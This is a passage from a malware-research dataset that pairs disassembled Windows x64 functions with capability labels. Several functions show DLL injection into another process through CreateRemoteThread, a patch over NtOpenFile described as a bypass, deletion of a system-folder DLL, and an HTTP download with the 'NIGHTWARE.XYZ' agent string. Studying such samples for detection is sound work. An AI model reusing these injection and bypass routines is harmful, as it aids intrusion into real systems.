joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400114ab
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001a340
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001a360
xor al, al
jmp 0x14001a3e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001a373
xor al, al
jmp 0x14001a3e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001a39d
xor al, al
jmp 0x14001a3e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001a3b1
xor al, al
jmp 0x14001a3e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001a3c3
xor al, al
jmp 0x14001a3e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001a3df
xor al, al
jmp 0x14001a3e1
mov al, 1
add rsp, 0x38
ret

Function at 0x1400114e2
Capabilities:
Delete file

Disassembly:
jmp 0x140017770
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140028040]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x14002e0fa]
call fcn.14001169f
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.NtOpenFile
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 8], rax
lea rcx, str.C:Windows_bcastdvr236.dll
call qword [sym.imp.ucrtbased.dll_remove]
cmp qword [rbp + 8], 0
je 0x14001781b
mov r8d, 5
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x24]
call fcn.140011343
mov qword [rsp + 0x20], 0
mov r9d, 5
lea r8, [rbp + 0x24]
mov rdx, qword [rbp + 8]
mov rcx, qword [0x1400284c0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x14001782e
lea rdx, str.Unable_to_bypass._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110be
lea rcx, [rbp - 0x30]
lea rdx, [0x140023090]
call fcn.140011596
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.14001133e
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140011564
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140017bc0
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x278
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x5e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x298]
mov rax, qword [0x140028040]
xor rax, rbp
mov qword [rbp + 0x228], rax
lea rcx, [0x14002e0f3]
call fcn.14001169f
xor r9d, r9d
lea r8, [rbp + 0x10]
mov edx, 0x104
mov rcx, qword [rbp + 0x260]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov r8d, dword [rbp + 0x258]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x138], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x158], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x104
lea r8, [rbp + 0x10]
mov rdx, qword [rbp + 0x158]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x158]
mov qword [rsp + 0x20], rax
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140023010]
call fcn.140011596
mov rax, rdi
mov rcx, qword [rbp + 0x228]
xor rcx, rbp
call fcn.14001133e
lea rsp, [rbp + 0x238]
pop rdi
pop rbp
ret
Function at 0x140011573
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
jmp 0x140015f90
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x758
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x13a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x778]
mov rax, qword [0x140028040]
xor rax, rbp
mov qword [rbp + 0x718], rax
mov dword [rbp + 0x704], 0
lea rcx, [0x14002e0fa]
call fcn.14001169f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.NIGHTWARE.XYZ
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140016041
lea rdx, [0x140023973]
mov rcx, qword [rbp + 0x740]
call fcn.1400112e9
mov eax, dword [rbp + 0x704]
or eax, 1
mov dword [rbp + 0x704], eax
mov rax, qword [rbp + 0x740]
jmp 0x140016147
mov rcx, qword [rbp + 0x748]
call fcn.1400110a0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400160b4
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x140023973]
mov rcx, qword [rbp + 0x740]
call fcn.1400112e9
mov eax, dword [rbp + 0x704]
or eax, 1
mov dword [rbp + 0x704], eax
mov rax, qword [rbp + 0x740]
jmp 0x140016147
lea rcx, [rbp + 0x48]
call fcn.140011690
nop
lea r9, [rbp + 0x4a4]
mov r8d, 0x400
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140016104
cmp dword [rbp + 0x4a4], 0
jbe 0x140016104
mov eax, dword [rbp + 0x4a4]
mov r8d, eax
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x48]
call fcn.1400116f9
jmp 0x1400160be
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp + 0x48]
mov rcx, qword [rbp + 0x740]
call fcn.140011645
mov eax, dword [rbp + 0x704]
or eax, 1
mov dword [rbp + 0x704], eax
lea rcx, [rbp + 0x48]
call fcn.140011136
mov rax, qword [rbp + 0x740]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140023220]
call fcn.140011596
mov rax, rdi
mov rcx, qword [rbp + 0x718]
xor rcx, rbp
call fcn.14001133e
lea rsp, [rbp + 0x728]
pop rdi
pop rbp
ret
Function at 0x14005fe6c
Capabilities:
Get hostname

Disassembly:
mov rax, rsp
mov dword [rax + 8], ecx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rdi, rdx
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
xor esi, esi
mov qword [rbp - 0x10], rsi
mov dword [rbp + 0x30], esi
lea r8, [rbp + 0x30]
xor edx, edx
lea ecx, [rsi + 3]
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x14005feb4
lea ebx, [rsi + 0xd]
jmp 0x14005ff1f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp eax, 0xea
jne 0x14005ff1f
mov word [rbp + 0x20], si
mov edx, dword [rbp + 0x30]
lea rax, [rbp - 0x20]
mov qword [rbp - 0x30], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x28], rax
movaps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea r8, [rbp - 0x30]
lea rcx, [rbp - 0x20]
call fcn.14003cffc
lea r8, [rbp + 0x30]
mov rdx, qword [rbp - 0x20]
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
jne 0x14005ff11
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x14005ff1f
mov rdx, qword [rbp - 0x20]
mov rcx, rdi
call fcn.1400033fc
mov ebx, esi
lea rcx, [rbp - 0x20]
call fcn.1400174fc
mov eax, ebx
mov rbx, qword [rsp + 0x88]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret

Function at 0x140060a48
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x1400bd0c0], eax
call fcn.140060cf8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400bd0c0], 0
jne case.default.0x140060a9e
mov ecx, 1
call fcn.140060cf8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dh, byte [rdi + riz - 0x63e9bb8f]
enter 0x5fa3, 0x30
add bl, byte [rdx]
mov esi, dword [rax + 0x44]
in al, dx
cmpsd dword [rsi], dword [rdi]
stosd dword [rdi], eax
js 0x140125e84
invalid
cmp cl, byte [rsi]
sbb ecx, ebx
jge 0x140125e21
call 0x14b7f7160
std
jg 0x140125eca
imul edx, dword [rdx], 0xffffff8a
add eax, 0x9486a6ba
sahf
loope 0x140125edd
lodsd eax, dword [rsi]
xor ch, cl
invalid
or byte [rsi + 0x4ff168ad], 0xfc
out 0x29, al
adc al, 0x18
sal ah, 1
insb byte [rdi], dx
jmp 0x19e26fc1e
pop rsi
xchg ebp, eax
fld xword [rdx + 0x769be7c]
mov dl, 0x91
invalid
Function at 0x140001060
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
xor ebx, ebx
lea r15, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rbp, r8
mov r14, rcx
mov r11d, ebx
cmp r9, 3
jb 0x140001130
lea rdi, [r8 + 2]
mov esi, 1
sub rsi, r8
lea r10, [rcx + 2]
mov r8d, 2
sub r8, rcx
nop dword [rax]
lea rax, [r8 + r10]
cmp rax, rdx
ja 0x1400011d5
movzx eax, byte [rdi - 1]
add rbx, 3
movzx ecx, byte [rdi - 2]
add r11, 4
shl rcx, 8
or rcx, rax
movzx eax, byte [rdi]
shl rcx, 8
add rdi, 3
or rcx, rax
mov rax, rcx
shr rax, 0x12
movzx eax, byte [rax + r15]
mov byte [r10 - 2], al
mov rax, rcx
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rax + r15]
mov byte [r10 - 1], al
mov rax, rcx
shr rax, 6
and ecx, 0x3f
and eax, 0x3f
movzx eax, byte [rax + r15]
mov byte [r10], al
movzx eax, byte [rcx + r15]
mov byte [r10 + 1], al
add r10, 4
lea rax, [rsi + rdi]
cmp rax, r9
jbe 0x1400010b0
lea rax, [rbx + 2]
lea r8, [r11 + 4]
cmp rax, r9
ja 0x140001193
cmp r8, rdx
ja 0x140001193
movzx eax, byte [rbx + rbp + 1]
movzx ecx, byte [rbx + rbp]
shl rcx, 8
or rcx, rax
shl rcx, 8
mov rax, rcx
shr rax, 0x12
movzx eax, byte [rax + r15]
mov byte [r11 + r14], al
mov rax, rcx
shr rax, 0xc
and eax, 0x3f
shr rcx, 6
and ecx, 0x3f
movzx eax, byte [rax + r15]
mov byte [r11 + r14 + 1], al
movzx eax, byte [rcx + r15]
mov byte [r11 + r14 + 2], al
mov byte [r11 + r14 + 3], 0x3d
jmp 0x1400011d2
lea rax, [rbx + 1]
cmp rax, r9
ja 0x1400011d5
cmp r8, rdx
ja 0x1400011d5
movzx ecx, byte [rbx + rbp]
shl rcx, 0x10
mov rax, rcx
shr rcx, 0xc
shr rax, 0x12
and ecx, 0x3f
movzx eax, byte [rax + r15]
mov byte [r11 + r14], al
movzx eax, byte [rcx + r15]
mov byte [r11 + r14 + 1], al
mov word [r11 + r14 + 2], 0x3d3d
mov r11, r8
mov rbx, qword [rsp + 0x18]
mov rax, r11
mov rbp, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
pop r15
pop r14
ret
Function at 0x140001200
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
xor r10d, r10d
mov qword [rsp + 0x18], rdi
xor ebx, ebx
mov r11, r9
mov rdi, rdx
mov rsi, rcx
test r9, r9
je 0x14000134c
mov qword [rsp + 0x10], rbp
lea rbp, [0x14004f590]
nop
xor r9d, r9d
cmp r10, r11
jae 0x140001258
nop dword [rax + rax]
movzx eax, byte [r10 + r8]
movzx r9d, byte [rax + rbp]
cmp r9d, 0x40
jbe 0x140001258
inc r10
cmp r10, r11
jb 0x140001240
cmp byte [r10 + r8], 0x3d
je 0x140001347
mov rax, r10
inc r10
cmp rax, r11
jae 0x140001347
lea ecx, [r9*4]
cmp r10, r11
jae 0x140001298
nop
movzx eax, byte [r10 + r8]
movzx r9d, byte [rax + rbp]
cmp r9d, 0x40
jbe 0x140001298
inc r10
cmp r10, r11
jb 0x140001280
cmp byte [r10 + r8], 0x3d
je 0x140001347
mov rax, r10
inc r10
cmp rax, r11
jae 0x140001347
cmp rbx, rdi
jae 0x1400012c7
mov eax, r9d
shr eax, 4
and al, 3
or al, cl
mov byte [rbx + rsi], al
inc rbx
cmp r10, r11
jae 0x140001347
movzx ecx, byte [r10 + r8]
mov edx, r9d
shl edx, 4
cmp cl, 0x3d
je 0x1400012e7
movzx r9d, byte [rcx + rbp]
cmp r9d, 0x40
ja 0x1400012d7
cmp byte [r10 + r8], 0x3d
je 0x140001347
inc r10
cmp rbx, rdi
jae 0x140001306
mov eax, r9d
shr eax, 2
and al, 0xf
or al, dl
mov byte [rbx + rsi], al
inc rbx
cmp r10, r11
jae 0x140001347
movzx ecx, byte [r10 + r8]
mov edx, r9d
shl edx, 6
cmp cl, 0x3d
je 0x140001326
movzx r9d, byte [rcx + rbp]
cmp r9d, 0x40
ja 0x140001316
cmp byte [r10 + r8], 0x3d
je 0x140001347
inc r10
cmp rbx, rdi
jae 0x14000133e
or dl, r9b
mov byte [rbx + rsi], dl
inc rbx
cmp r10, r11
jb 0x140001230
mov rbp, qword [rsp + 0x10]
cmp rbx, rdi
mov rax, rbx
mov rdi, qword [rsp + 0x18]
jae 0x14000135d
mov byte [rbx + rsi], 0
mov rbx, qword [rsp + 0x20]
pop rsi
ret

Function at 0x140002630
Capabilities:
Encode data using xor

Disassembly:
push rdi
add r9, 0x3b9aca00
lea r11d, [rdx*2 + 0xf]
mov rdi, rcx
lea r10d, [r8 + 0xf]
jns 0x14000265c
nop word [rax + rax]
movsxd rax, r11d
add r11d, 0x1e
add r9, rax
js 0x140002650
lea eax, [r9 - 0x3b9aca00]
cmp eax, 0x1f480
jge 0x14000267e
nop word [rax + rax]
add eax, r11d
add r11d, 0x1e
cmp eax, 0x1f480
jl 0x140002670
sub r11d, 0x1e
cmp r11d, 0xf
jle 0x1400026fe
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
lea rsi, [0x140050680]
nop dword [rax]
sub eax, r11d
jns 0x1400026b0
add eax, r10d
add r10d, 0x1e
test eax, eax
js 0x1400026a5
mov r9d, eax
mov ebx, r10d
cmp eax, 0x1f480
jae 0x1400026e4
nop dword [rax]
mov ecx, eax
mov r8d, eax
shr ecx, 5
and r8d, 0x1f
lea rdx, [rdi + rcx*4]
add eax, r10d
add r10d, 0x1e
mov ecx, dword [rsi + r8*4]
xor dword [rdx], ecx
cmp eax, 0x1f480
jl 0x1400026c0
sub r11d, 0x1e
mov eax, r9d
mov r10d, ebx
cmp r11d, 0xf
jg 0x1400026a0
mov rsi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x10]
pop rdi
ret
Function at 0x140002700
Capabilities:
Encode data using xor

Disassembly:
push rdi
add r9, 0x3b9aca00
lea r11d, [rdx + 5]
mov rdi, rcx
lea r10d, [r8 + 0xf]
jns 0x14000272c
nop word [rax + rax]
movsxd rax, r11d
add r11d, 0xa
add r9, rax
js 0x140002720
lea eax, [r9 - 0x3b9aca00]
cmp eax, 0x1f480
jge 0x14000274e
nop word [rax + rax]
add eax, r11d
add r11d, 0xa
cmp eax, 0x1f480
jl 0x140002740
sub r11d, 0xa
cmp r11d, 5
jle 0x1400027ce
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
lea rsi, [0x140050680]
nop dword [rax]
sub eax, r11d
jns 0x140002780
add eax, r10d
add r10d, 0x1e
test eax, eax
js 0x140002775
mov r9d, eax
mov ebx, r10d
cmp eax, 0x1f480
jae 0x1400027b4
nop dword [rax]
mov ecx, eax
mov r8d, eax
shr ecx, 5
and r8d, 0x1f
lea rdx, [rdi + rcx*4]
add eax, r10d
add r10d, 0x1e
mov ecx, dword [rsi + r8*4]
xor dword [rdx], ecx
cmp eax, 0x1f480
jl 0x140002790
sub r11d, 0xa
mov eax, r9d
mov r10d, ebx
cmp r11d, 5
jg 0x140002770
mov rsi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x10]
pop rdi
ret
Function at 0x14000b340
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rbx, qword [rdx + 0x18]
xor r9d, r9d
mov r11, qword [rdx + 8]
mov rsi, rdx
mov rdi, rcx
mov r10, r11
test rbx, rbx
jne 0x14000b390
lea ecx, [rbx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.____ipv6_picker_is_null_n
call fcn.140001010
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rax, r10
sub rax, r9
shr rax, 1
add rax, r9
mov rdx, qword [rbx + rax*8]
cmp r8, rdx
jae 0x14000b3aa
mov r10, rax
jmp 0x14000b390
lea r9, [rax + 1]
cmp r9, r11
je 0x14000b3ba
cmp r8, qword [rbx + rax*8 + 8]
jae 0x14000b390
mov rcx, qword [rsi]
sub r8, rdx
shl rax, 5
movups xmm1, xmmword [rax + rcx]
mov rcx, qword [rax + rcx + 8]
add rcx, r8
movups xmmword [rsp + 0x20], xmm1
mov qword [rsp + 0x28], rcx
psrldq xmm1, 8
movq rax, xmm1
cmp rcx, rax
jae 0x14000b3ee
inc qword [rsp + 0x20]
movups xmm0, xmmword [rsp + 0x20]
mov rbx, qword [rsp + 0x40]
mov rax, rdi
mov rsi, qword [rsp + 0x48]
movups xmmword [rdi], xmm0
add rsp, 0x30
pop rdi
ret
Function at 0x14000e0d0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov ebx, dword [rcx + 0x310]
xor esi, esi
mov rdi, r8
mov r15, rdx
mov rbp, rcx
test r8, r8
je 0x14000e18d
lea r12, [0x140000000]
nop
cmp ebx, 7
ja case.0x14000e126.5
mov eax, ebx
mov ecx, dword [r12 + rax*4 + 0xe280]
add rcx, r12
jmp rcx
mov r9d, esi
add r9, r15
movzx eax, byte [r9]
cmp al, 0x2b
je 0x14000e141
cmp al, 0x3a
jne 0x14000e1b4
mov ebx, 1
jmp 0x14000e184
mov ebx, 2
jmp 0x14000e184
mov r14d, esi
add r14, r15
movzx ecx, byte [r14]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isdigit]
test eax, eax
jne 0x14000e184
movzx eax, byte [r14]
cmp al, 0xd
je 0x14000e184
cmp al, 0xa
jne 0x14000e1ed
mov rax, qword [rbp + 0x308]
xor ebx, ebx
test rax, rax
je 0x14000e1d3
dec rax
mov qword [rbp + 0x308], rax
inc esi
mov eax, esi
cmp rax, rdi
jb 0x14000e110
mov dword [rbp + 0x310], ebx
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
sub edi, esi
lea rdx, str.redis:_unexpected_data:__.s_n
mov r8d, edi
xor ecx, ecx
call fcn.14004d730
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.redis:_out_of_sync_n
xor ecx, ecx
call fcn.14004d730
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
sub edi, esi
lea rdx, str.redis:_unexpected_data:__.s_n
mov r8d, edi
mov r9, r14
xor ecx, ecx
call fcn.14004d730
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r9d, esi
lea eax, [rsi - 2]
movsx eax, byte [rax + r12 + 0x56260]
add r9, r15
movzx edx, byte [r9]
cmp eax, edx
jne 0x14000e244
inc ebx
cmp dl, 0xa
jne case.0x14000e126.5
mov dword [rbp + 0x310], 0
mov eax, 1
jmp 0x14000e195
sub edi, esi
lea rdx, str.redis:_unexpected_data:__.s_n
mov r8d, edi
xor ecx, ecx
call fcn.14004d730
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8d, ebx
lea rdx, str.redis:_unexpected_state:__u_n
xor ecx, ecx
call fcn.14004d730
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x1400190f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
movzx eax, byte [rcx]
lea rbx, [0x140051960]
movzx r9d, byte [rcx + 1]
not rax
mov r10, rcx
movzx r8d, al
movzx ecx, byte [rcx + 2]
mov r11, rdx
mov edx, recv
mov r8d, dword [rbx + r8*4]
xor r8d, 0xffffff
mov eax, r8d
shr r8d, 8
xor r9, rax
movzx eax, r9b
xor r8d, dword [rbx + rax*4]
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 + 3]
xor r8d, dword [rbx + rax*4]
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 + 4]
xor r8d, dword [rbx + rax*4]
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 + 5]
xor r8d, dword [rbx + rax*4]
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 + 6]
xor r8d, dword [rbx + rax*4]
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 + 7]
xor r8d, dword [rbx + rax*4]
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
xor r8d, dword [rbx + rax*4]
movzx ecx, r8b
shr r8d, 8
xor r8d, dword [rbx + rcx*4]
movzx ecx, r8b
shr r8d, 8
xor r8d, dword [rbx + rcx*4]
movzx ecx, r8b
shr r8d, 8
xor r8d, dword [rbx + rcx*4]
movzx ecx, r8b
shr r8d, 8
xor r8d, dword [rbx + rcx*4]
cmp r11, rdx
jbe 0x14001920f
mov eax, edx
nop dword [rax]
movzx ecx, byte [rax + r10]
inc edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
xor r8d, dword [rbx + rax*4]
mov eax, edx
cmp rax, r11
jb 0x1400191f0
mov rbx, qword [rsp + 8]
not r8d
mov eax, r8d
movzx ecx, r8b
shr eax, 8
movzx eax, al
shl ecx, 8
or eax, ecx
mov ecx, r8d
shl eax, 8
shr ecx, 0x10
movzx edx, cl
or eax, edx
shr r8d, 0x18
shl eax, 8
or eax, r8d
ret
Function at 0x14001cf90
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x150
mov rax, qword [0x140068008]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov ecx, 0x558
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x14001cfe7
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, str.smack
lea rdx, str._s:_out_of_memory_error_n
call fcn.140001010
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor edx, edx
mov r8d, 0x558
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
and dword [rbx + 8], 0xfffffffe
mov ecx, 9
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbx], rax
mov rcx, rax
test rax, rax
jne 0x14001d03c
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, str.smack
lea rdx, str._s:_out_of_memory_error_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movsd xmm0, qword [str.snmp_mib]
movsd qword [rax], xmm0
movzx eax, byte [0x140058e00]
mov qword [rsp + 0x168], rsi
xor esi, esi
mov byte [rcx + 8], al
cmp qword [str.selftest], rsi
mov qword [0x14016e210], rbx
je 0x14001d1ad
mov qword [rsp + 0x160], rbp
xor ebp, ebp
mov qword [rsp + 0x170], rdi
xor eax, eax
mov qword [rsp + 0x178], r14
lea r14, str.43.1006.51.341332
mov rbx, qword [rax + r14]
xor edi, edi
movzx eax, byte [rbx]
test al, al
je 0x14001d160
cmp al, 0x2e
jne 0x14001d0b0
inc rbx
cmp byte [rbx], 0x2e
je 0x14001d0a8
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoul]
mov r9, qword [rsp + 0x30]
mov r8d, eax
cmp rbx, r9
je 0x14001d160
mov rbx, r9
mov ecx, r8d
test r8, 0xfffffffff0000000
je 0x14001d0e8
mov ecx, 4
jmp 0x14001d116
test rcx, 0xffffffffffe00000
je 0x14001d0f8
mov ecx, 3
jmp 0x14001d116
test rcx, 0xffffffffffffc000
je 0x14001d108
mov ecx, 2
jmp 0x14001d116
test rcx, 0xffffffffffffff80
je 0x14001d13f
mov ecx, 1
mov edx, ecx
imul ecx, ecx, 7
nop dword [rax + rax]
cmp rdi, 0x100
jae 0x14001d137
mov eax, r8d
shr eax, cl
or al, 0x80
mov byte [rsp + rdi + 0x40], al
inc rdi
add ecx, 0xfffffff9
add edx, 0xffffffff
jne 0x14001d120
cmp rdi, 0x100
jae 0x14001d154
and r8b, 0x7f
mov byte [rsp + rdi + 0x40], r8b
inc rdi
movzx eax, byte [r9]
test al, al
jne 0x14001d0a4
mov rcx, qword [0x14016e210]
lea rdx, [rsp + 0x40]
mov r9, rbp
mov dword [rsp + 0x20], 5
mov r8d, edi
call fcn.14003e620
inc esi
mov eax, esi
shl rax, 4
mov ebp, esi
cmp qword [rax + r14 + 8], 0
jne 0x14001d093
mov r14, qword [rsp + 0x178]
mov rdi, qword [rsp + 0x170]
mov rbp, qword [rsp + 0x160]
mov rcx, qword [0x14016e210]
call fcn.14003f1f0
mov rsi, qword [rsp + 0x168]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.14004da00
add rsp, 0x150
pop rbx
ret